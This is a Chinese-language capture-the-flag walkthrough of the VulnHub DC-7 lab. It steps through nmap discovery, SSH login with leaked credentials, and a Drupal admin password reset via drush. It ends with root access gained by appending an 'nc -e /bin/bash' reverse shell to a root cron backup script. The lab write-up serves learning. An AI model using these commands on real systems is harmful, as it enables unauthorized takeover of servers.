一,环境的搭建
VM17 官网下载
kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/
靶场文件 https://download.vulnhub.com/dc/DC-7.zip
二,攻略
首先进行主机发现;
nmap -sP 192.168.20.1/24
接下来端口扫描;
依旧开放着80端口和22端口;
尝试访问http服务;
这里给出了一个类似于提示的东西:
DC-7引入了一些“新”概念,但我让你自己找出它们是什么。 :-)虽然这个挑战并不是那么技术性,但如果你需要诉诸暴力破解或字典攻击,你可能不会成功。你必须做的,是跳出思维定势。远远地跳出思维定势。 :-)
根据这段所谓的提示,跳出思维定势;
在官网的提示找找,找到一个账号密码;
dc7user
MdR3xOgB7#dW
这里存在一个CMS;
用上面的密码尝试登录;
发现密码是错误的;
想到还开放22端口(ssh),尝试登录;
ssh登录成功;
收到一封邮件,尝试查看;
邮件内容:
From root@dc-7 Sun Oct 20 00:30:46 2024
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Sun, 20 Oct 2024 00:30:46 +1000
Received: from root by dc-7 with local (Exim 4.89)(envelope-from <root@dc-7>)id 1t2ATa-0000FM-Fifor root@dc-7; Sun, 20 Oct 2024 00:30:42 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1t2ATa-0000FM-Fi@dc-7>
Date: Sun, 20 Oct 2024 00:30:42 +1000Database dump saved to /home/dc7user/backups/website.sql [success]From root@dc-7 Sun Oct 20 00:45:25 2024
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Sun, 20 Oct 2024 00:45:25 +1000
Received: from root by dc-7 with local (Exim 4.89)(envelope-from <root@dc-7>)id 1t2Ahg-0000Fz-OMfor root@dc-7; Sun, 20 Oct 2024 00:45:16 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1t2Ahg-0000Fz-OM@dc-7>
Date: Sun, 20 Oct 2024 00:45:16 +1000Database dump saved to /home/dc7user/backups/website.sql [success]
这封邮件的主要内容是关于一个数据库备份脚本的执行情况。具体来说,邮件是由Cron Daemon发送的,通知收件人(root用户)在特定时间执行了/opt/scripts/backups.sh 脚本,并且成功地将数据库备份保存到了/home/dc7user/backups/website.sql 文件中。
邮件中提到的“[success]”表明该操作是成功的。
接下来尝试查看一下这个脚本的权限和详细内容;
对于root用户和www-data组的用户有所有的权限;
对于其他用户有读和执行的权限,但是没有写的权限;
该脚本文件存在一个对于数据库的操作;
drush sql-dump --result-file=/home/dc7user/backups/website.sql
这个命令的作用是将Drupal站点的整个数据库导出为一个SQL文件,存储在指定的路径中。这个SQL文件可以用于备份数据库,或者在需要时恢复数据库。
drush是 Drupal 的一个命令行 shell 接口,用于管理和操作 Drupal 站点。它提供了一系列命令,可以替代在 Drupal 界面上进行的各种操作,大大提高了工作效率。
我们可以尝试修改admin用户的密码;
drush upwd admin --password=123456
修改成功;
接下来在web端尝试登录;
成功登录admin用户;
这里存在一个页面,可以写入数据;
由于不存在解析PHP的模块,导致一句话不能连接;
安装一个新的模块;
修改完成之后,蚁剑成功连接;
接下来,尝试反弹shell进行连接;
反弹shell成功连接;
使用python产生一个交互式界面;
python -c "import pty;pty.spawn('/bin/bash')"
接下来尝试提权;想到了之前邮件中的脚本文件;
对于www-data组的用户有所有的权限;
尝试向backups.sh中写入反弹shell,然后进行提权;
cd /opt/scripts
echo 'nc -e /bin/bash 192.168.20.151 7777' >> backups.sh
成功写入,等待反弹shell的连接;
或者可以直接执行这个脚本文件;
不可以执行脚本文件,执行脚本文件使用的是www-data用户的权限;
所以只能等待定时任务的执行;
cd /root
cat theflag.txt
在/root找到最后的flag;
三,结论
社工的手段也很重要;
必要的时候可以下载源码(GitHub),进行代码审计;
对于拿到的用户名和密码,要在能想到的所有地方尝试;
对于开源的Drupal,可以使用命令drush更改用户的密码,登录到网站后台;
定时任务要进行等待,不能直接运行;